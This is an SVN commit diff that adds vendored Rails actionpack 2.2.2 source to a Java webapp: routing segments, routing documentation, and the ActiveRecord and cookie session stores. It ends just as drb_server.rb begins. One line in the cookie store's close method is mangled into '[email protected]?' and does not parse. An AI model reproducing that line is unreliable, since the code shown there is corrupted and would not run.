+      def match_extraction(next_capture)
+        # All non code-related keys (such as :id, :slug) are URI-unescaped as
+        # path parameters.
+        default_value = default ? default.inspect : nil
+        %[
+          value = if (m = match[#{next_capture}])
+            URI.unescape(m)
+          else
+            #{default_value}
+          end
+          params[:#{key}] = value if value
+        ]
+      end
+
+      def optionality_implied?
+        [:action, :id].include? key
+      end
+
+      def regexp_has_modifiers?
+        regexp.options & (Regexp::IGNORECASE | Regexp::EXTENDED) != 0
+      end
+    end
+
+    class ControllerSegment < DynamicSegment #:nodoc:
+      def regexp_chunk
+        possible_names = Routing.possible_controllers.collect { |name| Regexp.escape name }
+        "(?i-:(#{(regexp || Regexp.union(*possible_names)).source}))"
+      end
+
+      def number_of_captures
+        1
+      end
+
+      # Don't URI.escape the controller name since it may contain slashes.
+      def interpolation_chunk(value_code = local_name)
+        "\#{#{value_code}.to_s}"
+      end
+
+      # Make sure controller names like Admin/Content are correctly normalized to
+      # admin/content
+      def extract_value
+        "#{local_name} = (hash[:#{key}] #{"|| #{default.inspect}" if default}).downcase"
+      end
+
+      def match_extraction(next_capture)
+        if default
+          "params[:#{key}] = match[#{next_capture}] ? match[#{next_capture}].downcase : '#{default}'"
+        else
+          "params[:#{key}] = match[#{next_capture}].downcase if match[#{next_capture}]"
+        end
+      end
+    end
+
+    class PathSegment < DynamicSegment #:nodoc:
+      def interpolation_chunk(value_code = local_name)
+        "\#{#{value_code}}"
+      end
+
+      def extract_value
+        "#{local_name} = hash[:#{key}] && Array(hash[:#{key}]).collect { |path_component| URI.escape(path_component.to_param, ActionController::Routing::Segment::UNSAFE_PCHAR) }.to_param #{"|| #{default.inspect}" if default}"
+      end
+
+      def default
+        ''
+      end
+
+      def default=(path)
+        raise RoutingError, "paths cannot have non-empty default values" unless path.blank?
+      end
+
+      def match_extraction(next_capture)
+        "params[:#{key}] = PathSegment::Result.new_escaped((match[#{next_capture}]#{" || " + default.inspect if default}).split('/'))#{" if match[" + next_capture + "]" if !default}"
+      end
+
+      def regexp_chunk
+        regexp || "(.*)"
+      end
+
+      def number_of_captures
+        regexp ? regexp.number_of_captures : 1
+      end
+
+      def optionality_implied?
+        true
+      end
+
+      class Result < ::Array #:nodoc:
+        def to_s() join '/' end
+        def self.new_escaped(strings)
+          new strings.collect {|str| URI.unescape str}
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/routing.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/routing.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/routing.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,385 @@
+require 'cgi'
+require 'uri'
+require 'action_controller/polymorphic_routes'
+require 'action_controller/routing/optimisations'
+require 'action_controller/routing/routing_ext'
+require 'action_controller/routing/route'
+require 'action_controller/routing/segments'
+require 'action_controller/routing/builder'
+require 'action_controller/routing/route_set'
+require 'action_controller/routing/recognition_optimisation'
+
+module ActionController
+  # == Routing
+  #
+  # The routing module provides URL rewriting in native Ruby. It's a way to
+  # redirect incoming requests to controllers and actions. This replaces
+  # mod_rewrite rules. Best of all, Rails' Routing works with any web server.
+  # Routes are defined in <tt>config/routes.rb</tt>.
+  #
+  # Consider the following route, installed by Rails when you generate your
+  # application:
+  #
+  #   map.connect ':controller/:action/:id'
+  #
+  # This route states that it expects requests to consist of a
+  # <tt>:controller</tt> followed by an <tt>:action</tt> that in turn is fed
+  # some <tt>:id</tt>.
+  #
+  # Suppose you get an incoming request for <tt>/blog/edit/22</tt>, you'll end up
+  # with:
+  #
+  #   params = { :controller => 'blog',
+  #              :action     => 'edit',
+  #              :id         => '22'
+  #           }
+  #
+  # Think of creating routes as drawing a map for your requests. The map tells
+  # them where to go based on some predefined pattern:
+  #
+  #   ActionController::Routing::Routes.draw do |map|
+  #     Pattern 1 tells some request to go to one place
+  #     Pattern 2 tell them to go to another
+  #     ...
+  #   end
+  #
+  # The following symbols are special:
+  #
+  #   :controller maps to your controller name
+  #   :action     maps to an action with your controllers
+  #
+  # Other names simply map to a parameter as in the case of <tt>:id</tt>.
+  #
+  # == Route priority
+  #
+  # Not all routes are created equally. Routes have priority defined by the
+  # order of appearance of the routes in the <tt>config/routes.rb</tt> file. The priority goes
+  # from top to bottom. The last route in that file is at the lowest priority
+  # and will be applied last. If no route matches, 404 is returned.
+  #
+  # Within blocks, the empty pattern is at the highest priority.
+  # In practice this works out nicely:
+  #
+  #   ActionController::Routing::Routes.draw do |map|
+  #     map.with_options :controller => 'blog' do |blog|
+  #       blog.show '',  :action => 'list'
+  #     end
+  #     map.connect ':controller/:action/:view'
+  #   end
+  #
+  # In this case, invoking blog controller (with an URL like '/blog/')
+  # without parameters will activate the 'list' action by default.
+  #
+  # == Defaults routes and default parameters
+  #
+  # Setting a default route is straightforward in Rails - you simply append a
+  # Hash at the end of your mapping to set any default parameters.
+  #
+  # Example:
+  #
+  #   ActionController::Routing:Routes.draw do |map|
+  #     map.connect ':controller/:action/:id', :controller => 'blog'
+  #   end
+  #
+  # This sets up +blog+ as the default controller if no other is specified.
+  # This means visiting '/' would invoke the blog controller.
+  #
+  # More formally, you can define defaults in a route with the <tt>:defaults</tt> key.
+  #
+  #   map.connect ':controller/:action/:id', :action => 'show', :defaults => { :page => 'Dashboard' }
+  #
+  # Note: The default routes, as provided by the Rails generator, make all actions in every
+  # controller accessible via GET requests. You should consider removing them or commenting
+  # them out if you're using named routes and resources.
+  #
+  # == Named routes
+  #
+  # Routes can be named with the syntax <tt>map.name_of_route options</tt>,
+  # allowing for easy reference within your source as +name_of_route_url+
+  # for the full URL and +name_of_route_path+ for the URI path.
+  #
+  # Example:
+  #
+  #   # In routes.rb
+  #   map.login 'login', :controller => 'accounts', :action => 'login'
+  #
+  #   # With render, redirect_to, tests, etc.
+  #   redirect_to login_url
+  #
+  # Arguments can be passed as well.
+  #
+  #   redirect_to show_item_path(:id => 25)
+  #
+  # Use <tt>map.root</tt> as a shorthand to name a route for the root path "".
+  #
+  #   # In routes.rb
+  #   map.root :controller => 'blogs'
+  #
+  #   # would recognize http://www.example.com/ as
+  #   params = { :controller => 'blogs', :action => 'index' }
+  #
+  #   # and provide these named routes
+  #   root_url   # => 'http://www.example.com/'
+  #   root_path  # => ''
+  #
+  # You can also specify an already-defined named route in your <tt>map.root</tt> call:
+  #
+  #   # In routes.rb
+  #   map.new_session :controller => 'sessions', :action => 'new'
+  #   map.root :new_session
+  #
+  # Note: when using +with_options+, the route is simply named after the
+  # method you call on the block parameter rather than map.
+  #
+  #   # In routes.rb
+  #   map.with_options :controller => 'blog' do |blog|
+  #     blog.show    '',            :action  => 'list'
+  #     blog.delete  'delete/:id',  :action  => 'delete',
+  #     blog.edit    'edit/:id',    :action  => 'edit'
+  #   end
+  #
+  #   # provides named routes for show, delete, and edit
+  #   link_to @article.title, show_path(:id => @article.id)
+  #
+  # == Pretty URLs
+  #
+  # Routes can generate pretty URLs. For example:
+  #
+  #   map.connect 'articles/:year/:month/:day',
+  #               :controller => 'articles',
+  #               :action     => 'find_by_date',
+  #               :year       => /\d{4}/,
+  #               :month      => /\d{1,2}/,
+  #               :day        => /\d{1,2}/
+  #
+  # Using the route above, the URL "http://localhost:3000/articles/2005/11/06"
+  # maps to
+  #
+  #   params = {:year => '2005', :month => '11', :day => '06'}
+  #
+  # == Regular Expressions and parameters
+  # You can specify a regular expression to define a format for a parameter.
+  #
+  #   map.geocode 'geocode/:postalcode', :controller => 'geocode',
+  #               :action => 'show', :postalcode => /\d{5}(-\d{4})?/
+  #
+  # or, more formally:
+  #
+  #   map.geocode 'geocode/:postalcode', :controller => 'geocode',
+  #               :action => 'show', :requirements => { :postalcode => /\d{5}(-\d{4})?/ }
+  #
+  # Formats can include the 'ignorecase' and 'extended syntax' regular
+  # expression modifiers:
+  #
+  #   map.geocode 'geocode/:postalcode', :controller => 'geocode',
+  #               :action => 'show', :postalcode => /hx\d\d\s\d[a-z]{2}/i
+  #
+  #   map.geocode 'geocode/:postalcode', :controller => 'geocode',
+  #               :action => 'show',:requirements => {
+  #                 :postalcode => /# Postcode format
+  #                                 \d{5} #Prefix
+  #                                 (-\d{4})? #Suffix
+  #                                 /x
+  #               }
+  #
+  # Using the multiline match modifier will raise an ArgumentError.
+  # Encoding regular expression modifiers are silently ignored. The
+  # match will always use the default encoding or ASCII.
+  #
+  # == Route globbing
+  #
+  # Specifying <tt>*[string]</tt> as part of a rule like:
+  #
+  #   map.connect '*path' , :controller => 'blog' , :action => 'unrecognized?'
+  #
+  # will glob all remaining parts of the route that were not recognized earlier. This idiom
+  # must appear at the end of the path. The globbed values are in <tt>params[:path]</tt> in
+  # this case.
+  #
+  # == Route conditions
+  #
+  # With conditions you can define restrictions on routes. Currently the only valid condition is <tt>:method</tt>.
+  #
+  # * <tt>:method</tt> - Allows you to specify which method can access the route. Possible values are <tt>:post</tt>,
+  #   <tt>:get</tt>, <tt>:put</tt>, <tt>:delete</tt> and <tt>:any</tt>. The default value is <tt>:any</tt>,
+  #   <tt>:any</tt> means that any method can access the route.
+  #
+  # Example:
+  #
+  #   map.connect 'post/:id', :controller => 'posts', :action => 'show',
+  #               :conditions => { :method => :get }
+  #   map.connect 'post/:id', :controller => 'posts', :action => 'create_comment',
+  #               :conditions => { :method => :post }
+  #
+  # Now, if you POST to <tt>/posts/:id</tt>, it will route to the <tt>create_comment</tt> action. A GET on the same
+  # URL will route to the <tt>show</tt> action.
+  #
+  # == Reloading routes
+  #
+  # You can reload routes if you feel you must:
+  #
+  #   ActionController::Routing::Routes.reload
+  #
+  # This will clear all named routes and reload routes.rb if the file has been modified from
+  # last load. To absolutely force reloading, use <tt>reload!</tt>.
+  #
+  # == Testing Routes
+  #
+  # The two main methods for testing your routes:
+  #
+  # === +assert_routing+
+  #
+  #   def test_movie_route_properly_splits
+  #    opts = {:controller => "plugin", :action => "checkout", :id => "2"}
+  #    assert_routing "plugin/checkout/2", opts
+  #   end
+  #
+  # +assert_routing+ lets you test whether or not the route properly resolves into options.
+  #
+  # === +assert_recognizes+
+  #
+  #   def test_route_has_options
+  #    opts = {:controller => "plugin", :action => "show", :id => "12"}
+  #    assert_recognizes opts, "/plugins/show/12"
+  #   end
+  #
+  # Note the subtle difference between the two: +assert_routing+ tests that
+  # a URL fits options while +assert_recognizes+ tests that a URL
+  # breaks into parameters properly.
+  #
+  # In tests you can simply pass the URL or named route to +get+ or +post+.
+  #
+  #   def send_to_jail
+  #     get '/jail'
+  #     assert_response :success
+  #     assert_template "jail/front"
+  #   end
+  #
+  #   def goes_to_login
+  #     get login_url
+  #     #...
+  #   end
+  #
+  # == View a list of all your routes
+  #
+  # Run <tt>rake routes</tt>.
+  #
+  module Routing
+    SEPARATORS = %w( / . ? )
+
+    HTTP_METHODS = [:get, :head, :post, :put, :delete]
+
+    ALLOWED_REQUIREMENTS_FOR_OPTIMISATION = [:controller, :action].to_set
+
+    # The root paths which may contain controller files
+    mattr_accessor :controller_paths
+    self.controller_paths = []
+
+    # A helper module to hold URL related helpers.
+    module Helpers
+      include PolymorphicRoutes
+    end
+
+    class << self
+      # Expects an array of controller names as the first argument.
+      # Executes the passed block with only the named controllers named available.
+      # This method is used in internal Rails testing.
+      def with_controllers(names)
+        prior_controllers = @possible_controllers
+        use_controllers! names
+        yield
+      ensure
+        use_controllers! prior_controllers
+      end
+
+      # Returns an array of paths, cleaned of double-slashes and relative path references.
+      # * "\\\" and "//"  become "\\" or "/".
+      # * "/foo/bar/../config" becomes "/foo/config".
+      # The returned array is sorted by length, descending.
+      def normalize_paths(paths)
+        # do the hokey-pokey of path normalization...
+        paths = paths.collect do |path|
+          path = path.
+            gsub("//", "/").           # replace double / chars with a single
+            gsub("\\\\", "\\").        # replace double \ chars with a single
+            gsub(%r{(.)[\\/]$}, '\1')  # drop final / or \ if path ends with it
+
+          # eliminate .. paths where possible
+          re = %r{[^/\\]+[/\\]\.\.[/\\]}
+          path.gsub!(re, "") while path.match(re)
+          path
+        end
+
+        # start with longest path, first
+        paths = paths.uniq.sort_by { |path| - path.length }
+      end
+
+      # Returns the array of controller names currently available to ActionController::Routing.
+      def possible_controllers
+        unless @possible_controllers
+          @possible_controllers = []
+
+          paths = controller_paths.select { |path| File.directory?(path) && path != "." }
+
+          seen_paths = Hash.new {|h, k| h[k] = true; false}
+          normalize_paths(paths).each do |load_path|
+            Dir["#{load_path}/**/*_controller.rb"].collect do |path|
+              next if seen_paths[path.gsub(%r{^\.[/\\]}, "")]
+
+              controller_name = path[(load_path.length + 1)..-1]
+
+              controller_name.gsub!(/_controller\.rb\Z/, '')
+              @possible_controllers << controller_name
+            end
+          end
+
+          # remove duplicates
+          @possible_controllers.uniq!
+        end
+        @possible_controllers
+      end
+
+      # Replaces the internal list of controllers available to ActionController::Routing with the passed argument.
+      #   ActionController::Routing.use_controllers!([ "posts", "comments", "admin/comments" ])
+      def use_controllers!(controller_names)
+        @possible_controllers = controller_names
+      end
+
+      # Returns a controller path for a new +controller+ based on a +previous+ controller path.
+      # Handles 4 scenarios:
+      #
+      # * stay in the previous controller:
+      #     controller_relative_to( nil, "groups/discussion" ) # => "groups/discussion"
+      #
+      # * stay in the previous namespace:
+      #     controller_relative_to( "posts", "groups/discussion" ) # => "groups/posts"
+      #
+      # * forced move to the root namespace:
+      #     controller_relative_to( "/posts", "groups/discussion" ) # => "posts"
+      #
+      # * previous namespace is root:
+      #     controller_relative_to( "posts", "anything_with_no_slashes" ) # =>"posts"
+      #
+      def controller_relative_to(controller, previous)
+        if controller.nil?           then previous
+        elsif controller[0] == ?/    then controller[1..-1]
+        elsif %r{^(.*)/} =~ previous then "#{$1}/#{controller}"
+        else controller
+        end
+      end
+    end
+
+    Routes = RouteSet.new
+
+    ActiveSupport::Inflector.module_eval do
+      # Ensures that routes are reloaded when Rails inflections are updated.
+      def inflections_with_route_reloading(&block)
+        returning(inflections_without_route_reloading(&block)) {
+          ActionController::Routing::Routes.reload! if block_given?
+        }
+      end
+
+      alias_method_chain :inflections, :route_reloading
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/session/active_record_store.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/session/active_record_store.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/session/active_record_store.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,340 @@
+require 'cgi'
+require 'cgi/session'
+require 'digest/md5'
+
+class CGI
+  class Session
+    attr_reader :data
+
+    # Return this session's underlying Session instance. Useful for the DB-backed session stores.
+    def model
+      @dbman.model if @dbman
+    end
+
+
+    # A session store backed by an Active Record class.  A default class is
+    # provided, but any object duck-typing to an Active Record Session class
+    # with text +session_id+ and +data+ attributes is sufficient.
+    #
+    # The default assumes a +sessions+ tables with columns:
+    #   +id+ (numeric primary key),
+    #   +session_id+ (text, or longtext if your session data exceeds 65K), and
+    #   +data+ (text or longtext; careful if your session data exceeds 65KB).
+    # The +session_id+ column should always be indexed for speedy lookups.
+    # Session data is marshaled to the +data+ column in Base64 format.
+    # If the data you write is larger than the column's size limit,
+    # ActionController::SessionOverflowError will be raised.
+    #
+    # You may configure the table name, primary key, and data column.
+    # For example, at the end of <tt>config/environment.rb</tt>:
+    #   CGI::Session::ActiveRecordStore::Session.table_name = 'legacy_session_table'
+    #   CGI::Session::ActiveRecordStore::Session.primary_key = 'session_id'
+    #   CGI::Session::ActiveRecordStore::Session.data_column_name = 'legacy_session_data'
+    # Note that setting the primary key to the +session_id+ frees you from
+    # having a separate +id+ column if you don't want it.  However, you must
+    # set <tt>session.model.id = session.session_id</tt> by hand!  A before filter
+    # on ApplicationController is a good place.
+    #
+    # Since the default class is a simple Active Record, you get timestamps
+    # for free if you add +created_at+ and +updated_at+ datetime columns to
+    # the +sessions+ table, making periodic session expiration a snap.
+    #
+    # You may provide your own session class implementation, whether a
+    # feature-packed Active Record or a bare-metal high-performance SQL
+    # store, by setting
+    #   CGI::Session::ActiveRecordStore.session_class = MySessionClass
+    # You must implement these methods:
+    #   self.find_by_session_id(session_id)
+    #   initialize(hash_of_session_id_and_data)
+    #   attr_reader :session_id
+    #   attr_accessor :data
+    #   save
+    #   destroy
+    #
+    # The example SqlBypass class is a generic SQL session store.  You may
+    # use it as a basis for high-performance database-specific stores.
+    class ActiveRecordStore
+      # The default Active Record class.
+      class Session < ActiveRecord::Base
+        # Customizable data column name.  Defaults to 'data'.
+        cattr_accessor :data_column_name
+        self.data_column_name = 'data'
+
+        before_save :marshal_data!
+        before_save :raise_on_session_data_overflow!
+
+        class << self
+          # Don't try to reload ARStore::Session in dev mode.
+          def reloadable? #:nodoc:
+            false
+          end
+
+          def data_column_size_limit
+            @data_column_size_limit ||= columns_hash[@@data_column_name].limit
+          end
+
+          # Hook to set up sessid compatibility.
+          def find_by_session_id(session_id)
+            setup_sessid_compatibility!
+            find_by_session_id(session_id)
+          end
+
+          def marshal(data)   ActiveSupport::Base64.encode64(Marshal.dump(data)) if data end
+          def unmarshal(data) Marshal.load(ActiveSupport::Base64.decode64(data)) if data end
+
+          def create_table!
+            connection.execute <<-end_sql
+              CREATE TABLE #{table_name} (
+                id INTEGER PRIMARY KEY,
+                #{connection.quote_column_name('session_id')} TEXT UNIQUE,
+                #{connection.quote_column_name(@@data_column_name)} TEXT(255)
+              )
+            end_sql
+          end
+
+          def drop_table!
+            connection.execute "DROP TABLE #{table_name}"
+          end
+
+          private
+            # Compatibility with tables using sessid instead of session_id.
+            def setup_sessid_compatibility!
+              # Reset column info since it may be stale.
+              reset_column_information
+              if columns_hash['sessid']
+                def self.find_by_session_id(*args)
+                  find_by_sessid(*args)
+                end
+
+                define_method(:session_id)  { sessid }
+                define_method(:session_id=) { |session_id| self.sessid = session_id }
+              else
+                def self.find_by_session_id(session_id)
+                  find :first, :conditions => ["session_id #{attribute_condition(session_id)}", session_id]
+                end
+              end
+            end
+        end
+
+        # Lazy-unmarshal session state.
+        def data
+          @data ||= self.class.unmarshal(read_attribute(@@data_column_name)) || {}
+        end
+
+        attr_writer :data
+
+        # Has the session been loaded yet?
+        def loaded?
+          !! @data
+        end
+
+        private
+
+          def marshal_data!
+            return false if !loaded?
+            write_attribute(@@data_column_name, self.class.marshal(self.data))
+          end
+
+          # Ensures that the data about to be stored in the database is not
+          # larger than the data storage column. Raises
+          # ActionController::SessionOverflowError.
+          def raise_on_session_data_overflow!
+            return false if !loaded?
+            limit = self.class.data_column_size_limit
+            if loaded? and limit and read_attribute(@@data_column_name).size > limit
+              raise ActionController::SessionOverflowError
+            end
+          end
+      end
+
+      # A barebones session store which duck-types with the default session
+      # store but bypasses Active Record and issues SQL directly.  This is
+      # an example session model class meant as a basis for your own classes.
+      #
+      # The database connection, table name, and session id and data columns
+      # are configurable class attributes.  Marshaling and unmarshaling
+      # are implemented as class methods that you may override.  By default,
+      # marshaling data is
+      #
+      #   ActiveSupport::Base64.encode64(Marshal.dump(data))
+      #
+      # and unmarshaling data is
+      #
+      #   Marshal.load(ActiveSupport::Base64.decode64(data))
+      #
+      # This marshaling behavior is intended to store the widest range of
+      # binary session data in a +text+ column.  For higher performance,
+      # store in a +blob+ column instead and forgo the Base64 encoding.
+      class SqlBypass
+        # Use the ActiveRecord::Base.connection by default.
+        cattr_accessor :connection
+
+        # The table name defaults to 'sessions'.
+        cattr_accessor :table_name
+        @@table_name = 'sessions'
+
+        # The session id field defaults to 'session_id'.
+        cattr_accessor :session_id_column
+        @@session_id_column = 'session_id'
+
+        # The data field defaults to 'data'.
+        cattr_accessor :data_column
+        @@data_column = 'data'
+
+        class << self
+
+          def connection
+            @@connection ||= ActiveRecord::Base.connection
+          end
+
+          # Look up a session by id and unmarshal its data if found.
+          def find_by_session_id(session_id)
+            if record = @@connection.select_one("SELECT * FROM #{@@table_name} WHERE #{@@session_id_column}=#{@@connection.quote(session_id)}")
+              new(:session_id => session_id, :marshaled_data => record['data'])
+            end
+          end
+
+          def marshal(data)   ActiveSupport::Base64.encode64(Marshal.dump(data)) if data end
+          def unmarshal(data) Marshal.load(ActiveSupport::Base64.decode64(data)) if data end
+
+          def create_table!
+            @@connection.execute <<-end_sql
+              CREATE TABLE #{table_name} (
+                id INTEGER PRIMARY KEY,
+                #{@@connection.quote_column_name(session_id_column)} TEXT UNIQUE,
+                #{@@connection.quote_column_name(data_column)} TEXT
+              )
+            end_sql
+          end
+
+          def drop_table!
+            @@connection.execute "DROP TABLE #{table_name}"
+          end
+        end
+
+        attr_reader :session_id
+        attr_writer :data
+
+        # Look for normal and marshaled data, self.find_by_session_id's way of
+        # telling us to postpone unmarshaling until the data is requested.
+        # We need to handle a normal data attribute in case of a new record.
+        def initialize(attributes)
+          @session_id, @data, @marshaled_data = attributes[:session_id], attributes[:data], attributes[:marshaled_data]
+          @new_record = @marshaled_data.nil?
+        end
+
+        def new_record?
+          @new_record
+        end
+
+        # Lazy-unmarshal session state.
+        def data
+          unless @data
+            if @marshaled_data
+              @data, @marshaled_data = self.class.unmarshal(@marshaled_data) || {}, nil
+            else
+              @data = {}
+            end
+          end
+          @data
+        end
+
+        def loaded?
+          !! @data
+        end
+
+        def save
+          return false if !loaded?
+          marshaled_data = self.class.marshal(data)
+
+          if @new_record
+            @new_record = false
+            @@connection.update <<-end_sql, 'Create session'
+              INSERT INTO #{@@table_name} (
+                #{@@connection.quote_column_name(@@session_id_column)},
+                #{@@connection.quote_column_name(@@data_column)} )
+              VALUES (
+                #{@@connection.quote(session_id)},
+                #{@@connection.quote(marshaled_data)} )
+            end_sql
+          else
+            @@connection.update <<-end_sql, 'Update session'
+              UPDATE #{@@table_name}
+              SET #{@@connection.quote_column_name(@@data_column)}=#{@@connection.quote(marshaled_data)}
+              WHERE #{@@connection.quote_column_name(@@session_id_column)}=#{@@connection.quote(session_id)}
+            end_sql
+          end
+        end
+
+        def destroy
+          unless @new_record
+            @@connection.delete <<-end_sql, 'Destroy session'
+              DELETE FROM #{@@table_name}
+              WHERE #{@@connection.quote_column_name(@@session_id_column)}=#{@@connection.quote(session_id)}
+            end_sql
+          end
+        end
+      end
+
+
+      # The class used for session storage.  Defaults to
+      # CGI::Session::ActiveRecordStore::Session.
+      cattr_accessor :session_class
+      self.session_class = Session
+
+      # Find or instantiate a session given a CGI::Session.
+      def initialize(session, option = nil)
+        session_id = session.session_id
+        unless @session = ActiveRecord::Base.silence { @@session_class.find_by_session_id(session_id) }
+          unless session.new_session
+            raise CGI::Session::NoSession, 'uninitialized session'
+          end
+          @session = @@session_class.new(:session_id => session_id, :data => {})
+          # session saving can be lazy again, because of improved component implementation
+          # therefore next line gets commented out:
+          # @session.save
+        end
+      end
+
+      # Access the underlying session model.
+      def model
+        @session
+      end
+
+      # Restore session state.  The session model handles unmarshaling.
+      def restore
+        if @session
+          @session.data
+        end
+      end
+
+      # Save session store.
+      def update
+        if @session
+          ActiveRecord::Base.silence { @session.save }
+        end
+      end
+
+      # Save and close the session store.
+      def close
+        if @session
+          update
+          @session = nil
+        end
+      end
+
+      # Delete and close the session store.
+      def delete
+        if @session
+          ActiveRecord::Base.silence { @session.destroy }
+          @session = nil
+        end
+      end
+
+      protected
+        def logger
+          ActionController::Base.logger rescue nil
+        end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/session/cookie_store.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/session/cookie_store.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/session/cookie_store.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,167 @@
+require 'cgi'
+require 'cgi/session'
+require 'openssl'       # to generate the HMAC message digest
+
+# This cookie-based session store is the Rails default. Sessions typically
+# contain at most a user_id and flash message; both fit within the 4K cookie
+# size limit. Cookie-based sessions are dramatically faster than the
+# alternatives.
+#
+# If you have more than 4K of session data or don't want your data to be
+# visible to the user, pick another session store.
+#
+# CookieOverflow is raised if you attempt to store more than 4K of data.
+# TamperedWithCookie is raised if the data integrity check fails.
+#
+# A message digest is included with the cookie to ensure data integrity:
+# a user cannot alter his +user_id+ without knowing the secret key included in
+# the hash. New apps are generated with a pregenerated secret in
+# config/environment.rb. Set your own for old apps you're upgrading.
+#
+# Session options:
+#
+# * <tt>:secret</tt>: An application-wide key string or block returning a string
+#   called per generated digest. The block is called with the CGI::Session
+#   instance as an argument. It's important that the secret is not vulnerable to
+#   a dictionary attack. Therefore, you should choose a secret consisting of
+#   random numbers and letters and more than 30 characters. Examples:
+#
+#     :secret => '449fe2e7daee471bffae2fd8dc02313d'
+#     :secret => Proc.new { User.current_user.secret_key }
+#
+# * <tt>:digest</tt>: The message digest algorithm used to verify session
+#   integrity defaults to 'SHA1' but may be any digest provided by OpenSSL,
+#   such as 'MD5', 'RIPEMD160', 'SHA256', etc.
+#
+# To generate a secret key for an existing application, run
+# "rake secret" and set the key in config/environment.rb.
+#
+# Note that changing digest or secret invalidates all existing sessions!
+class CGI::Session::CookieStore
+  # Cookies can typically store 4096 bytes.
+  MAX = 4096
+  SECRET_MIN_LENGTH = 30 # characters
+
+  # Raised when storing more than 4K of session data.
+  class CookieOverflow < StandardError; end
+
+  # Raised when the cookie fails its integrity check.
+  class TamperedWithCookie < StandardError; end
+
+  # Called from CGI::Session only.
+  def initialize(session, options = {})
+    # The session_key option is required.
+    if options['session_key'].blank?
+      raise ArgumentError, 'A session_key is required to write a cookie containing the session data. Use config.action_controller.session = { :session_key => "_myapp_session", :secret => "some secret phrase" } in config/environment.rb'
+    end
+
+    # The secret option is required.
+    ensure_secret_secure(options['secret'])
+
+    # Keep the session and its secret on hand so we can read and write cookies.
+    @session, @secret = session, options['secret']
+
+    # Message digest defaults to SHA1.
+    @digest = options['digest'] || 'SHA1'
+
+    # Default cookie options derived from session settings.
+    @cookie_options = {
+      'name'    => options['session_key'],
+      'path'    => options['session_path'],
+      'domain'  => options['session_domain'],
+      'expires' => options['session_expires'],
+      'secure'  => options['session_secure'],
+      'http_only' => options['session_http_only']
+    }
+
+    # Set no_hidden and no_cookies since the session id is unused and we
+    # set our own data cookie.
+    options['no_hidden'] = true
+    options['no_cookies'] = true
+  end
+
+  # To prevent users from using something insecure like "Password" we make sure that the
+  # secret they've provided is at least 30 characters in length.
+  def ensure_secret_secure(secret)
+    # There's no way we can do this check if they've provided a proc for the
+    # secret.
+    return true if secret.is_a?(Proc)
+
+    if secret.blank?
+      raise ArgumentError, %Q{A secret is required to generate an integrity hash for cookie session data. Use config.action_controller.session = { :session_key => "_myapp_session", :secret => "some secret phrase of at least #{SECRET_MIN_LENGTH} characters" } in config/environment.rb}
+    end
+
+    if secret.length < SECRET_MIN_LENGTH
+      raise ArgumentError, %Q{Secret should be something secure, like "#{CGI::Session.generate_unique_id}".  The value you provided, "#{secret}", is shorter than the minimum length of #{SECRET_MIN_LENGTH} characters}
+    end
+  end
+
+  # Restore session data from the cookie.
+  def restore
+    @original = read_cookie
+    @data = unmarshal(@original) || {}
+  end
+
+  # Wait until close to write the session data cookie.
+  def update; end
+
+  # Write the session data cookie if it was loaded and has changed.
+  def close
+    if defined?(@data) && [email protected]?
+      updated = marshal(@data)
+      raise CookieOverflow if updated.size > MAX
+      write_cookie('value' => updated) unless updated == @original
+    end
+  end
+
+  # Delete the session data by setting an expired cookie with no data.
+  def delete
+    @data = nil
+    clear_old_cookie_value
+    write_cookie('value' => nil, 'expires' => 1.year.ago)
+  end
+
+  # Generate the HMAC keyed message digest. Uses SHA1 by default.
+  def generate_digest(data)
+    key = @secret.respond_to?(:call) ? @secret.call(@session) : @secret
+    OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new(@digest), key, data)
+  end
+
+  private
+    # Marshal a session hash into safe cookie data. Include an integrity hash.
+    def marshal(session)
+      data = ActiveSupport::Base64.encode64s(Marshal.dump(session))
+      "#{data}--#{generate_digest(data)}"
+    end
+
+    # Unmarshal cookie data to a hash and verify its integrity.
+    def unmarshal(cookie)
+      if cookie
+        data, digest = cookie.split('--')
+
+        # Do two checks to transparently support old double-escaped data.
+        unless digest == generate_digest(data) || digest == generate_digest(data = CGI.unescape(data))
+          delete
+          raise TamperedWithCookie
+        end
+
+        Marshal.load(ActiveSupport::Base64.decode64(data))
+      end
+    end
+
+    # Read the session data cookie.
+    def read_cookie
+      @session.cgi.cookies[@cookie_options['name']].first
+    end
+
+    # CGI likes to make you hack.
+    def write_cookie(options)
+      cookie = CGI::Cookie.new(@cookie_options.merge(options))
+      @session.cgi.send :instance_variable_set, '@output_cookies', [cookie]
+    end
+
+    # Clear cookie value so subsequent new_session doesn't reload old data.
+    def clear_old_cookie_value
+      @session.cgi.cookies[@cookie_options['name']].clear
+    end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/session/drb_server.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/session/drb_server.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/session/drb_server.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,32 @@
+#!/usr/bin/env ruby
+
+# This is a really simple session storage daemon, basically just a hash,
